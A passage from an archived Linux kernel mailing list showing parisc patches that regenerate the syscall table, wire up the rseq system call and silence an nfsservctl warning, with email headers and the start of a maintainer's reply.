-	ENTRY_SAME(getpgid)
-	ENTRY_SAME(fchdir)
-	ENTRY_SAME(bdflush)
-	ENTRY_SAME(sysfs)		/* 135 */
-	ENTRY_OURS(personality)
-	ENTRY_SAME(ni_syscall)	/* for afs_syscall */
-	ENTRY_SAME(setfsuid)
-	ENTRY_SAME(setfsgid)
-	/* I think this might work */
-	ENTRY_SAME(llseek)		/* 140 */
-	ENTRY_COMP(getdents)
-	/* it is POSSIBLE that select will be OK because even though fd_set
-	 * contains longs, the macros and sizes are clever. */
-	ENTRY_COMP(select)
-	ENTRY_SAME(flock)
-	ENTRY_SAME(msync)
-	/* struct iovec contains pointers */
-	ENTRY_COMP(readv)		/* 145 */
-	ENTRY_COMP(writev)
-	ENTRY_SAME(getsid)
-	ENTRY_SAME(fdatasync)
-	/* struct __sysctl_args is a mess */
-	ENTRY_COMP(sysctl)
-	ENTRY_SAME(mlock)		/* 150 */
-	ENTRY_SAME(munlock)
-	ENTRY_SAME(mlockall)
-	ENTRY_SAME(munlockall)
-	/* struct sched_param is ok for now */
-	ENTRY_SAME(sched_setparam)
-	ENTRY_SAME(sched_getparam)	/* 155 */
-	ENTRY_SAME(sched_setscheduler)
-	ENTRY_SAME(sched_getscheduler)
-	ENTRY_SAME(sched_yield)
-	ENTRY_SAME(sched_get_priority_max)
-	ENTRY_SAME(sched_get_priority_min)	/* 160 */
-	ENTRY_COMP(sched_rr_get_interval)
-	ENTRY_COMP(nanosleep)
-	ENTRY_SAME(mremap)
-	ENTRY_SAME(setresuid)
-	ENTRY_SAME(getresuid)		/* 165 */
-	ENTRY_COMP(sigaltstack)
-	ENTRY_SAME(ni_syscall)		/* query_module */
-	ENTRY_SAME(poll)
-	/* structs contain pointers and an in_addr... */
-	ENTRY_SAME(ni_syscall)		/* was nfsservctl */
-	ENTRY_SAME(setresgid)		/* 170 */
-	ENTRY_SAME(getresgid)
-	ENTRY_SAME(prctl)
-	/* signals need a careful review */
-	ENTRY_SAME(rt_sigreturn_wrapper)
-	ENTRY_COMP(rt_sigaction)
-	ENTRY_COMP(rt_sigprocmask)	/* 175 */
-	ENTRY_COMP(rt_sigpending)
-	ENTRY_COMP(rt_sigtimedwait)
-	/* even though the struct siginfo_t is different, it appears like
-	 * all the paths use values which should be same wide and narrow.
-	 * Also the struct is padded to 128 bytes which means we don't have
-	 * to worry about faulting trying to copy in a larger 64-bit
-	 * struct from a 32-bit user-space app.
-	 */
-	ENTRY_COMP(rt_sigqueueinfo)
-	ENTRY_COMP(rt_sigsuspend)
-	ENTRY_SAME(chown)		/* 180 */
-	/* setsockopt() used by iptables: SO_SET_REPLACE/SO_SET_ADD_COUNTERS */
-	ENTRY_COMP(setsockopt)
-	ENTRY_COMP(getsockopt)
-	ENTRY_COMP(sendmsg)
-	ENTRY_COMP(recvmsg)
-	ENTRY_SAME(semop)		/* 185 */
-	ENTRY_SAME(semget)
-	ENTRY_COMP(semctl)
-	ENTRY_COMP(msgsnd)
-	ENTRY_COMP(msgrcv)
-	ENTRY_SAME(msgget)		/* 190 */
-	ENTRY_COMP(msgctl)
-	ENTRY_COMP(shmat)
-	ENTRY_SAME(shmdt)
-	ENTRY_SAME(shmget)
-	ENTRY_COMP(shmctl)		/* 195 */
-	ENTRY_SAME(ni_syscall)		/* streams1 */
-	ENTRY_SAME(ni_syscall)		/* streams2 */
-	ENTRY_SAME(lstat64)
-	ENTRY_OURS(truncate64)
-	ENTRY_OURS(ftruncate64)		/* 200 */
-	ENTRY_SAME(getdents64)
-	ENTRY_COMP(fcntl64)
-	ENTRY_SAME(ni_syscall)	/* attrctl -- dead */
-	ENTRY_SAME(ni_syscall)	/* acl_get -- dead */
-	ENTRY_SAME(ni_syscall)		/* 205 (acl_set -- dead) */
-	ENTRY_SAME(gettid)
-	ENTRY_OURS(readahead)
-	ENTRY_SAME(tkill)
-	ENTRY_COMP(sendfile64)
-	ENTRY_COMP(futex)		/* 210 */
-	ENTRY_COMP(sched_setaffinity)
-	ENTRY_COMP(sched_getaffinity)
-	ENTRY_SAME(ni_syscall)	/* set_thread_area */
-	ENTRY_SAME(ni_syscall)	/* get_thread_area */
-	ENTRY_COMP(io_setup)		/* 215 */
-	ENTRY_SAME(io_destroy)
-	ENTRY_COMP(io_getevents)
-	ENTRY_COMP(io_submit)
-	ENTRY_SAME(io_cancel)
-	ENTRY_SAME(ni_syscall)		/* 220: was alloc_hugepages */
-	ENTRY_SAME(ni_syscall)		/* was free_hugepages */
-	ENTRY_SAME(exit_group)
-	ENTRY_COMP(lookup_dcookie)
-	ENTRY_SAME(epoll_create)
-	ENTRY_SAME(epoll_ctl)		/* 225 */
-	ENTRY_SAME(epoll_wait)
- 	ENTRY_SAME(remap_file_pages)
-	ENTRY_COMP(semtimedop)
-	ENTRY_COMP(mq_open)
-	ENTRY_SAME(mq_unlink)		/* 230 */
-	ENTRY_COMP(mq_timedsend)
-	ENTRY_COMP(mq_timedreceive)
-	ENTRY_COMP(mq_notify)
-	ENTRY_COMP(mq_getsetattr)
-	ENTRY_COMP(waitid)		/* 235 */
-	ENTRY_OURS(fadvise64_64)
-	ENTRY_SAME(set_tid_address)
-	ENTRY_SAME(setxattr)
-	ENTRY_SAME(lsetxattr)
-	ENTRY_SAME(fsetxattr)		/* 240 */
-	ENTRY_SAME(getxattr)
-	ENTRY_SAME(lgetxattr)
-	ENTRY_SAME(fgetxattr)
-	ENTRY_SAME(listxattr)
-	ENTRY_SAME(llistxattr)		/* 245 */
-	ENTRY_SAME(flistxattr)
-	ENTRY_SAME(removexattr)
-	ENTRY_SAME(lremovexattr)
-	ENTRY_SAME(fremovexattr)
-	ENTRY_COMP(timer_create)	/* 250 */
-	ENTRY_COMP(timer_settime)
-	ENTRY_COMP(timer_gettime)
-	ENTRY_SAME(timer_getoverrun)
-	ENTRY_SAME(timer_delete)
-	ENTRY_COMP(clock_settime)	/* 255 */
-	ENTRY_COMP(clock_gettime)
-	ENTRY_COMP(clock_getres)
-	ENTRY_COMP(clock_nanosleep)
-	ENTRY_SAME(tgkill)
-	ENTRY_COMP(mbind)		/* 260 */
-	ENTRY_COMP(get_mempolicy)
-	ENTRY_COMP(set_mempolicy)
-	ENTRY_SAME(ni_syscall)	/* 263: reserved for vserver */
-	ENTRY_SAME(add_key)
-	ENTRY_SAME(request_key)		/* 265 */
-	ENTRY_COMP(keyctl)
-	ENTRY_SAME(ioprio_set)
-	ENTRY_SAME(ioprio_get)
-	ENTRY_SAME(inotify_init)
-	ENTRY_SAME(inotify_add_watch)	/* 270 */
-	ENTRY_SAME(inotify_rm_watch)
-	ENTRY_SAME(migrate_pages)
-	ENTRY_COMP(pselect6)
-	ENTRY_COMP(ppoll)
-	ENTRY_COMP(openat)		/* 275 */
-	ENTRY_SAME(mkdirat)
-	ENTRY_SAME(mknodat)
-	ENTRY_SAME(fchownat)
-	ENTRY_COMP(futimesat)
-	ENTRY_SAME(fstatat64)		/* 280 */
-	ENTRY_SAME(unlinkat)
-	ENTRY_SAME(renameat)
-	ENTRY_SAME(linkat)
-	ENTRY_SAME(symlinkat)
-	ENTRY_SAME(readlinkat)		/* 285 */
-	ENTRY_SAME(fchmodat)
-	ENTRY_SAME(faccessat)
-	ENTRY_SAME(unshare)
-	ENTRY_COMP(set_robust_list)
-	ENTRY_COMP(get_robust_list)	/* 290 */
-	ENTRY_SAME(splice)
-	ENTRY_OURS(sync_file_range)
-	ENTRY_SAME(tee)
-	ENTRY_COMP(vmsplice)
-	ENTRY_COMP(move_pages)		/* 295 */
-	ENTRY_SAME(getcpu)
-	ENTRY_COMP(epoll_pwait)
-	ENTRY_COMP(statfs64)
-	ENTRY_COMP(fstatfs64)
-	ENTRY_COMP(kexec_load)		/* 300 */
-	ENTRY_COMP(utimensat)
-	ENTRY_COMP(signalfd)
-	ENTRY_SAME(ni_syscall)		/* was timerfd */
-	ENTRY_SAME(eventfd)
-	ENTRY_OURS(fallocate)		/* 305 */
-	ENTRY_SAME(timerfd_create)
-	ENTRY_COMP(timerfd_settime)
-	ENTRY_COMP(timerfd_gettime)
-	ENTRY_COMP(signalfd4)
-	ENTRY_SAME(eventfd2)		/* 310 */
-	ENTRY_SAME(epoll_create1)
-	ENTRY_SAME(dup3)
-	ENTRY_SAME(pipe2)
-	ENTRY_SAME(inotify_init1)
-	ENTRY_COMP(preadv)		/* 315 */
-	ENTRY_COMP(pwritev)
-	ENTRY_COMP(rt_tgsigqueueinfo)
-	ENTRY_SAME(perf_event_open)
-	ENTRY_COMP(recvmmsg)
-	ENTRY_SAME(accept4)		/* 320 */
-	ENTRY_SAME(prlimit64)
-	ENTRY_SAME(fanotify_init)
-	ENTRY_DIFF(fanotify_mark)
-	ENTRY_COMP(clock_adjtime)
-	ENTRY_SAME(name_to_handle_at)	/* 325 */
-	ENTRY_COMP(open_by_handle_at)
-	ENTRY_SAME(syncfs)
-	ENTRY_SAME(setns)
-	ENTRY_COMP(sendmmsg)
-	ENTRY_COMP(process_vm_readv)	/* 330 */
-	ENTRY_COMP(process_vm_writev)
-	ENTRY_SAME(kcmp)
-	ENTRY_SAME(finit_module)
-	ENTRY_SAME(sched_setattr)
-	ENTRY_SAME(sched_getattr)	/* 335 */
-	ENTRY_COMP(utimes)
-	ENTRY_SAME(renameat2)
-	ENTRY_SAME(seccomp)
-	ENTRY_SAME(getrandom)
-	ENTRY_SAME(memfd_create)	/* 340 */
-	ENTRY_SAME(bpf)
-	ENTRY_COMP(execveat)
-	ENTRY_SAME(membarrier)
-	ENTRY_SAME(userfaultfd)
-	ENTRY_SAME(mlock2)		/* 345 */
-	ENTRY_SAME(copy_file_range)
-	ENTRY_COMP(preadv2)
-	ENTRY_COMP(pwritev2)
-	ENTRY_SAME(statx)
-	ENTRY_COMP(io_pgetevents)	/* 350 */
-
-
-.ifne (. - 90b) - (__NR_Linux_syscalls * (91b - 90b))
-.error "size of syscall table does not fit value of __NR_Linux_syscalls"
-.endif
-
-#undef ENTRY_SAME
-#undef ENTRY_DIFF
-#undef ENTRY_UHOH
-#undef ENTRY_COMP
-#undef ENTRY_OURS
diff --git a/arch/parisc/kernel/syscall_table_32.S b/arch/parisc/kernel/syscall_table_32.S
new file mode 100644
index 0000000..eec2c9a
--- /dev/null
+++ b/arch/parisc/kernel/syscall_table_32.S
@@ -0,0 +1,13 @@
+/* SPDX-License-Identifier: GPL-2.0 */
+#include <linux/linkage.h>
+
+	.align 8
+ENTRY(sys_call_table)
+	.export sys_call_table,data
+#if !defined(CONFIG_64BIT)
+#define __SYSCALL(nr, entry, nargs) .word entry
+#include <asm/syscall_table_32.h>
+#endif
+#undef __SYSCALL
+END(sys_call_table)
+
diff --git a/arch/parisc/kernel/syscall_table_64.S b/arch/parisc/kernel/syscall_table_64.S
new file mode 100644
index 0000000..af915688
--- /dev/null
+++ b/arch/parisc/kernel/syscall_table_64.S
@@ -0,0 +1,20 @@
+/* SPDX-License-Identifier: GPL-2.0 */
+#include <linux/linkage.h>
+
+	.align 8
+ENTRY(sys_call_table64)
+#if defined(CONFIG_64BIT) && defined(SYSCALL_TABLE_64BIT)
+#define __SYSCALL(nr, entry, nargs) .dword entry
+#include <asm/syscall_table_64.h>
+#endif
+#undef __SYSCALL
+END(sys_call_table64)
+
+	.align 8
+ENTRY(sys_call_tablec32)
+#if defined(CONFIG_64BIT) && !defined(SYSCALL_TABLE_64BIT)
+#define __SYSCALL(nr, entry, nargs) .dword entry
+#include <asm/syscall_table_c32.h>
+#endif
+#undef __SYSCALL
+END(sys_call_tablec32)
-- 
1.9.1



From - Thu Nov 08 21:42:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 5/6] parisc: wire up rseq system call
Date: Mon,  8 Oct 2018 10:46:40 +0530
Lines: 21
Approved: news@gmane.org
Message-ID: <1538975801-13735-6-git-send-email-firoz.khan@linaro.org>
References: <1538975801-13735-1-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1538975741 10342 195.159.176.226 (8 Oct 2018 05:15:41 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 8 Oct 2018 05:15:41 +0000 (UTC)
Cc: y2038@lists.linaro.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, arnd@arndb.de, deepa.kernel@gmail.com,
        marcin.juszkiewicz@linaro.org, firoz.khan@linaro.org
To: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Oct 08 07:15:36 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g9NtH-0002Ve-BA
	for glk-linux-kernel-4@m.gmane.org; Mon, 08 Oct 2018 07:15:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726907AbeJHM1f (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 8 Oct 2018 08:27:35 -0400
Original-Received: from mail-pg1-f195.google.com ([209.85.215.195]:44490 "EHLO
        mail-pg1-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726065AbeJHM1e (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 8 Oct 2018 08:27:34 -0400
Original-Received: by mail-pg1-f195.google.com with SMTP id g2-v6so7261128pgu.11
        for <linux-kernel@vger.kernel.org>; Sun, 07 Oct 2018 22:17:43 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=Grlj/FQ9cweOqOjxqFN8YjGHsbjQMb8oVhL53KJP91s=;
        b=LueO4gYu8eTAVKO5pC+hXKqU+PwbA+dyP3f85qe+6Pwl6PLUnPUGcc/Oig+L0iM85Y
         dnnNo8/YlCNPZmy+BZdKFU+YSB1KNsHma/ppUPo3Ad15gRMqzbDMvStL0CYrJtER3SO8
         vI6sGxs20msGOGIkTJQongebFH/n4i9tTQXSw=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=Grlj/FQ9cweOqOjxqFN8YjGHsbjQMb8oVhL53KJP91s=;
        b=PS3Og65MSyw5ZIN3cDQwsuAeUbN3xvZdrPUDLDmjchoSyUPA4PL/QLpLOKjo88B1J2
         BwRQwuezvjOHCOflEpzsPx2buvy9Cdm8nyk+i9dbKhNhv98pAf4RqinWXNgd7ujN7io9
         U4o59iRnpumb9EFE2e9DdddrG0Az1nDyO0Ky2+Txz7WqshQIfQvxQKg3OLqQlMEAxdbV
         aMW5Re/PfcvjBgw9kcsCMbpNReKz0RkjjuXT9lBuOemm7fQNJFSUEg18/D0l8IBZRcv/
         7MnKRJr455lCkBTAL/V9cfop0XDUlPreQX+Z/+sVQndv03BS84JLpO8FBj5LttUmvrut
         DfIw==
X-Gm-Message-State: ABuFfoj5jNrkBAwHospG974NWxUTv2rSVyI8G1pBGtrzePQ0Sa40mkZX
        FmsyXassZ2Zy39VUBKdE9Nuj9g==
X-Google-Smtp-Source: ACcGV63MotLBvT/8OTUm2dHfTG373Fg5rd0mlEqyGgWVQXtcRFN7f6hAWDMnaq0/SSSbQfmxzmr3AA==
X-Received: by 2002:a63:f64f:: with SMTP id u15-v6mr19907539pgj.258.1538975863369;
        Sun, 07 Oct 2018 22:17:43 -0700 (PDT)
Original-Received: from qualcomm-HP-ZBook-14-G2.qualcomm.com (blr-bdr-fw-01_globalnat_allzones-outside.qualcomm.com. [103.229.18.19])
        by smtp.gmail.com with ESMTPSA id j19-v6sm1875919pfi.137.2018.10.07.22.17.38
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Sun, 07 Oct 2018 22:17:42 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1538975801-13735-1-git-send-email-firoz.khan@linaro.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2892281 gmane.linux.ports.parisc:29094 gmane.linux.kernel.year-2038:3456 gmane.linux.kernel.cross-arch:47484
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2892281>

Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
---
 arch/parisc/kernel/syscalls/syscall.tbl | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/arch/parisc/kernel/syscalls/syscall.tbl b/arch/parisc/kernel/syscalls/syscall.tbl
index 4e85293..4334bb7 100644
--- a/arch/parisc/kernel/syscalls/syscall.tbl
+++ b/arch/parisc/kernel/syscalls/syscall.tbl
@@ -349,4 +349,5 @@
 347     common  preadv2                         sys_preadv2                     compat_sys_preadv2
 348     common  pwritev2                        sys_pwritev2                    compat_sys_pwritev2
 349     common  statx                           sys_statx
-350	common  io_pgetevents			sys_io_pgetevents		compat_sys_io_pgetevents
\ No newline at end of file
+350	common  io_pgetevents			sys_io_pgetevents		compat_sys_io_pgetevents
+351	common	rseq				sys_rseq			compat_sys_rseq
-- 
1.9.1



From - Thu Nov 08 21:42:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 6/6] parisc: syscalls: Ignore nfsservctl for other architectures
Date: Mon,  8 Oct 2018 10:46:41 +0530
Lines: 30
Approved: news@gmane.org
Message-ID: <1538975801-13735-7-git-send-email-firoz.khan@linaro.org>
References: <1538975801-13735-1-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1538975746 10658 195.159.176.226 (8 Oct 2018 05:15:46 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 8 Oct 2018 05:15:46 +0000 (UTC)
Cc: y2038@lists.linaro.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, arnd@arndb.de, deepa.kernel@gmail.com,
        marcin.juszkiewicz@linaro.org, firoz.khan@linaro.org
To: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Oct 08 07:15:41 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g9NtM-0002eO-2T
	for glk-linux-kernel-4@m.gmane.org; Mon, 08 Oct 2018 07:15:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726954AbeJHM1k (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 8 Oct 2018 08:27:40 -0400
Original-Received: from mail-pf1-f194.google.com ([209.85.210.194]:36870 "EHLO
        mail-pf1-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726065AbeJHM1j (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 8 Oct 2018 08:27:39 -0400
Original-Received: by mail-pf1-f194.google.com with SMTP id j23-v6so7792844pfi.4
        for <linux-kernel@vger.kernel.org>; Sun, 07 Oct 2018 22:17:48 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=0PBH0SiDBTS5A/xCIVzOHbzcxzD+kYNUD3TokR7YxPA=;
        b=T5VTiLca1EGUj+3AJFZFnOthdXFHzbAnLsMnSpLXxd4nMxlH+YtNSdodPKXrYk5QCk
         4hp61K72KrQFWlqMaoByZe36XInIa/CZS+xXLB2QzFwf7MfxWDCGBoZ4V1ZR1xsI8nSe
         aM13Vs1a08R4qGPlwpcCcReizaoYSyv+mdp+g=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=0PBH0SiDBTS5A/xCIVzOHbzcxzD+kYNUD3TokR7YxPA=;
        b=sVpDvpeSygXbAYDjMlP7PoPvbXkhze5QtiiRV73tz2YqiRFWPy5qFXgOdJTIxk+msK
         yGjwpgexwoyl7zQVAnnKzSsplvrhPc8vjTjcNw+QASdLQhuNc60VnmjvU45X0+Ay+4BB
         tZcUmj8pREkcCmVyaS4VflBCGq5E2lm+oVd9a7B696aGwpaUL1aqL/A526sl/IUe9jQE
         yYaHfxc3N8Zg1ad9T5nzDO/eJlTOeBL1visYbcqt8rv96X0NgK5tTxQ19fiGqM0Ffa7u
         VMbr3Gavc1/Ga4LunE8p5CzNgS/AfBsDDVGIApcHFV9HlT5G/KXOTZsGD65VI77JsWNK
         dyUA==
X-Gm-Message-State: ABuFfoi1lZX60PhFyJ3ewi2AzX3+PZogYaHEMgrmf2P1cq7pQMsdRU+B
        6u/atE9uHS+hZIz1SnhrsTn/aA==
X-Google-Smtp-Source: ACcGV61gIb13f11m2lvteGZ5TbUdCPD1+SnDvXyHWIHqDEBHuBAva2Urjc+XP3t9n70KtT8Q8DHICQ==
X-Received: by 2002:aa7:8598:: with SMTP id w24-v6mr23863842pfn.77.1538975868367;
        Sun, 07 Oct 2018 22:17:48 -0700 (PDT)
Original-Received: from qualcomm-HP-ZBook-14-G2.qualcomm.com (blr-bdr-fw-01_globalnat_allzones-outside.qualcomm.com. [103.229.18.19])
        by smtp.gmail.com with ESMTPSA id j19-v6sm1875919pfi.137.2018.10.07.22.17.43
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Sun, 07 Oct 2018 22:17:47 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1538975801-13735-1-git-send-email-firoz.khan@linaro.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2892282 gmane.linux.ports.parisc:29095 gmane.linux.kernel.year-2038:3457 gmane.linux.kernel.cross-arch:47485
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2892282>

This adds an exception to the syscall table checking script.

nfsservctl entry is only provided on x86, and there is no
reason to add it elsewhere. However, including it on the
syscall table caused a warning for most configurations on
non-x86.

<stdin>:696:2: warning: #warning syscall nfsservctl not implemented [-Wcpp]

Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
---
 scripts/checksyscalls.sh | 1 +
 1 file changed, 1 insertion(+)

diff --git a/scripts/checksyscalls.sh b/scripts/checksyscalls.sh
index ee3dfb5..cf93100 100755
--- a/scripts/checksyscalls.sh
+++ b/scripts/checksyscalls.sh
@@ -150,6 +150,7 @@ cat << EOF
 #define __IGNORE_uselib
 #define __IGNORE__sysctl
 #define __IGNORE_arch_prctl
+#define __IGNORE_nfsservctl
 
 /* ... including the "new" 32-bit uid syscalls */
 #define __IGNORE_lchown32
-- 
1.9.1



From - Thu Nov 08 21:42:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 5/6] parisc: wire up rseq system call
Date: Mon, 8 Oct 2018 07:36:14 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <feb53cb6-e20b-42c3-5b53-8b310c772545@gmx.de>
References: <1538975801-13735-1-git-send-email-firoz.khan@linaro.org>
 <1538975801-13735-6-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1538976861 24008 195.159.176.226 (8 Oct 2018 05:34:21 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 8 Oct 2018 05:34:21 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: y2038@lists.linaro.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, arnd@arndb.de, deepa.kernel@gmail.com,
        marcin.juszkiewicz@linaro.org
To: Firoz Khan <firoz.khan@linaro.org>, linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Oct 08 07:34:16 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g9OBM-000670-2A
	for glk-linux-kernel-4@m.gmane.org; Mon, 08 Oct 2018 07:34:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726393AbeJHMqT (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 8 Oct 2018 08:46:19 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:50185 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1725842AbeJHMqT (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 8 Oct 2018 08:46:19 -0400
Original-Received: from [192.168.20.60] ([92.116.184.237]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0Lxxrw-1ffSlg05zQ-015Fxs; Mon, 08
 Oct 2018 07:36:16 +0200
Original-Received: from [192.168.20.60] ([92.116.184.237]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0Lxxrw-1ffSlg05zQ-015Fxs; Mon, 08
 Oct 2018 07:36:16 +0200
Openpgp: preference=signencrypt
Autocrypt: addr=deller@gmx.de; prefer-encrypt=mutual; keydata=
 xsBNBFDPIPYBCAC6PdtagIE06GASPWQJtfXiIzvpBaaNbAGgmd3Iv7x+3g039EV7/zJ1do/a
 y9jNEDn29j0/jyd0A9zMzWEmNO4JRwkMd5Z0h6APvlm2D8XhI94r/8stwroXOQ8yBpBcP0yX
 +sqRm2UXgoYWL0KEGbL4XwzpDCCapt+kmarND12oFj30M1xhTjuFe0hkhyNHkLe8g6MC0xNg
 KW3x7B74Rk829TTAtj03KP7oA+dqsp5hPlt/hZO0Lr0kSAxf3kxtaNA7+Z0LLiBqZ1nUerBh
 OdiCasCF82vQ4/y8rUaKotXqdhGwD76YZry9AQ9p6ccqKaYEzWis078Wsj7p0UtHoYDbABEB
 AAHNHEhlbGdlIERlbGxlciA8ZGVsbGVyQGdteC5kZT7CwJIEEwECADwCGwMGCwkIBwMCBhUI
 AgkKCwQWAgMBAh4BAheAFiEE9M/0wAvkPPtRU6Boh8nBUbUeOGQFAlrHzIICGQEACgkQh8nB
 UbUeOGT1GAgAt+EeoHB4DbAx+pZoGbBYp6ZY8L6211n8fSi7wiwgM5VppucJ+C+wILoPkqiU
 +ZHKlcWRbttER2oBUvKOt0+yDfAGcoZwHS0P+iO3HtxR81h3bosOCwek+TofDXl+TH/WSQJa
 iaitof6iiPZLygzUmmW+aLSSeIAHBunpBetRpFiep1e5zujCglKagsW78Pq0DnzbWugGe26A
 288JcK2W939bT1lZc22D9NhXXRHfX2QdDdrCQY7UsI6g/dAm1d2ldeFlGleqPMdaaQMcv5+E
 vDOur20qjTlenjnR/TFm9t 
In-Reply-To: <1538975801-13735-6-git-send-email-firoz.khan@linaro.org>
Content-Language: en-US
X-Provags-ID: V03:K1:ff3YJU0j/Bj6msgBVnetsNeV9Lb+V1uKHaMnLVIs0G6io6k0WQK
